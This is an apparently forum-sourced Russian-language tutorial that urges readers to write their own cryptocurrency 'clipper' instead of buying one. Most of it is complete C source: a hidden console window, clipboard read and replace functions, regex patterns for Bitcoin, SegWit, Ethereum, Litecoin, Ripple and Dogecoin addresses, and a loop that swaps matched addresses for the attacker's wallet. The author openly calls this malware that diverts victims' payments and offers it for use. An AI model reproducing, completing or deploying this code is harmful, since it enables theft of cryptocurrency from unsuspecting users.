Заранее говорю - в этой статье не будет разбора продукта, я лишь расскажу о ситуации с клипперами в наше время и почему не стоит брать готовые клипперы.
На рынок выходит новый продукт - Allcome. Стоимость - 25$/месяц, 220$/навсегда.
По словам ТС, клиппер написан на C++ с использованием STL.
Я не буду говорить о том, что продукт хороший или плохой, так как не использовал его и не могу заявлять что-либо. Скажу лишь о том, что судя по отзывам (25 отзывов за 3 недели), продажи у продукта идут очень даже хорошо. А теперь покажу, что задача написания своего клиппера не так сложна и это смогут сделать многие люди, особенно имевшие дело с копипастом исходников в открытом доступе.
Для начала:
Как устроен клиппер
Давайте разберемся, что вообще есть клиппер. Клиппер - вредоносная программа, заменяющая криптоадреса в буфере обмена на адреса злоумышленника, дабы жертва во время отправки монет отправила их к злоумышленнику.
По этому описанию накидываем схему работы:
Выглядит достаточно просто. Разбираем каждый блок -
Получение и подмена буфера обмена может быть реализована через любую библиотеку, работающую с winapi на любом языке.
Как же проверять, является ли текст адресом?
Ответ - регулярные выражения (regex). Что это?
Википедия:Для чайников - регулярные выражения это формальный язык, благодаря которому можно проверять соответствие текста определенным критериям - длина, набор букв и так далее.Регулярные выражения (англ. regular expressions) — используемый в компьютерных программах, работающих с текстом, формальный язык поиска и осуществления манипуляций с подстроками в тексте, основанный на использовании метасимволов (символов-джокеров, англ. wildcard characters). Для поиска используется строка-образец (англ. pattern, по-русски её часто называют «шаблоном», «маской»), состоящая из символов и метасимволов и задающая правило поиска. Для манипуляций с текстом дополнительно задаётся строка замены, которая также может содержать в себе специальные символы.
Почитать подробнее о них можно здесь. Проверка на соответствие происходит по паттернам (англ. pattern, у нас обычно используется термин "шаблон"). Паттерны можно спокойно найти в интернете по запросу "*крипта* address regex".
Теперь я покажу на своем примере, что написать свой клиппер значительно проще, чем вы думаете.
Написание клиппера
Я буду писать на C, его можно написать хоть на питоне, но не рекомендуется.
Создаем проект в Visual Studio, в нем создаем главный файл, я назвал его main.c.
Так как в стандартной библиотеке C нет библиотеки для регулярок, я буду использовать до невозможности сырую, но единственную и компактную библиотеку tiny-regex-c. Скачиваем re.c и re.h, импортируем их в проект.
Импортируем нужные библиотеки в main.c и скрываем консоль через ключевые слова для компилятора (pragma):
Пишем функции для получения и подмены буфера обмена:#include "re.h"
#include <windows.h>
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")Code#include "re.h"
#include <windows.h>
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
Создаем структуру для кошельков, она позволит без сложностей добавлять новые кошельки в клиппер (а с помощью регулярок, можно будет добавить хоть подмену ссылок оплаты).char* getclipboard()
{
static HANDLE clip;
if (OpenClipboard(NULL))
{
clip = GetClipboardData(CF_TEXT);
CloseClipboard();
}
return (char*)clip;
}
void setclipboard(char* text)
{
HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1);
memcpy(global, text, strlen(text));
if (OpenClipboard(NULL))
{
EmptyClipboard();
SetClipboardData(CF_TEXT, global);
CloseClipboard();
}
}Codechar* getclipboard()
{
static HANDLE clip;
if (OpenClipboard(NULL))
{
clip = GetClipboardData(CF_TEXT);
CloseClipboard();
}
return (char*)clip;
}
void setclipboard(char* text)
{
HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1);
memcpy(global, text, strlen(text));
if (OpenClipboard(NULL))
{
EmptyClipboard();
SetClipboardData(CF_TEXT, global);
CloseClipboard();
}
}
Основная функция main. Создаем в ней переменные с нашими кошельками:typedef struct crypto {
char* ptn;
char* address;
};Codetypedef struct crypto {
char* ptn;
char* address;
};
Создаем структуры для кошельков и объединяем их в один список. Переменная ptn - паттерн regex, переменная address - адрес, который будет подменяться.const char* btcadr = "";
const char* segwitadr = "";
const char* ethadr = "";
const char* ltcadr = "";
const char* xrpadr = "";
const char* dogeadr = "";Codeconst char* btcadr = "";
const char* segwitadr = "";
const char* ethadr = "";
const char* ltcadr = "";
const char* xrpadr = "";
const char* dogeadr = "";
У меня будет 5 криптовалют - Bitcoin (+SegWit адреса (bc1q)), Ethereum, Litecoin, Ripple, Dogecoin.
В регулярных выражениях стоит нефиксированное (*) число повторов. Это не так безопасно, так как, скажем, текст 1abc подойдет по регулярке и будет подменен. Используется из-за того, что в tiny-regex-c нельзя прописать фиксированное количество повторов, во всех языках где это поддерживается, призываю ставить фиксированное количество повторов, соответствующее типу адреса.struct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*$", .address = btcadr }; // фиксированная длина не поддерживается в tiny regex
struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*$", .address = segwitadr }; // на p2pkh и p2wpkh разные регулярки, так как изменение легаси адреса на сегвит (bc1q) будет заметно
struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*$", .address = ethadr };
struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*$", .address = ltcadr };
struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*$", .address = xrpadr };
struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*$", .address = dogeadr };
struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; // где 6 - количество сервисовCodestruct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*$", .address = btcadr }; // фиксированная длина не поддерживается в tiny regex
struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*$", .address = segwitadr }; // на p2pkh и p2wpkh разные регулярки, так как изменение легаси адреса на сегвит (bc1q) будет заметно
struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*$", .address = ethadr };
struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*$", .address = ltcadr };
struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*$", .address = xrpadr };
struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*$", .address = dogeadr };
struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; // где 6 - количество сервисов
Основной цикл:
В комментариях прописал, за что отвечает каждая команда.while (1) {
char* clipdata = getclipboard(); // получение буфера обмена
if (clipdata != NULL) { // если в буфере что-то есть
for (int i = 0; i < 6; i++) { // цикл из всех типов кошельков, где 6 - количество сервисов
int matchlen;
int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом
if (match != -1) { // если является, подмена буфера обмена на заданный в коде адрес
setclipboard(all[i].address);
}
}
}
Sleep(50); // чтобы не грузило проц, после каждой проверки сон на 0.05 сек
}Codewhile (1) {
char* clipdata = getclipboard(); // получение буфера обмена
if (clipdata != NULL) { // если в буфере что-то есть
for (int i = 0; i < 6; i++) { // цикл из всех типов кошельков, где 6 - количество сервисов
int matchlen;
int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом
if (match != -1) { // если является, подмена буфера обмена на заданный в коде адрес
setclipboard(all[i].address);
}
}
}
Sleep(50); // чтобы не грузило проц, после каждой проверки сон на 0.05 сек
}
На написание этого клиппера у меня ушло ~полчаса. Всего 65 строк, итоговый стаб весит 12.5кб.
Добавлять подмену других адресов по регулярке можно таким же образом, как добавлены кошельки выше. Отправку информации о ПК и прочую херню может впаять любой желающий, при наличии гугла.
Исходники - тык
Итоги
Написать свой клиппер может любой желающий, для людей, не умеющих в кодинг в интернете лежит множество исходников, благодаря которым затраты на не очень добросовестных кодеров сокращаются в разы.
С самописным клиппером вы будете уверены, что ничего левого не запускается и подмена идёт именно на ваш адрес. Вы сможете добавить/поменять что угодно в любой момент. Ваш клиппер будет исключительно ваш и исключительно в ваших руках.
Спасибо за прочтение.
Загрузка...
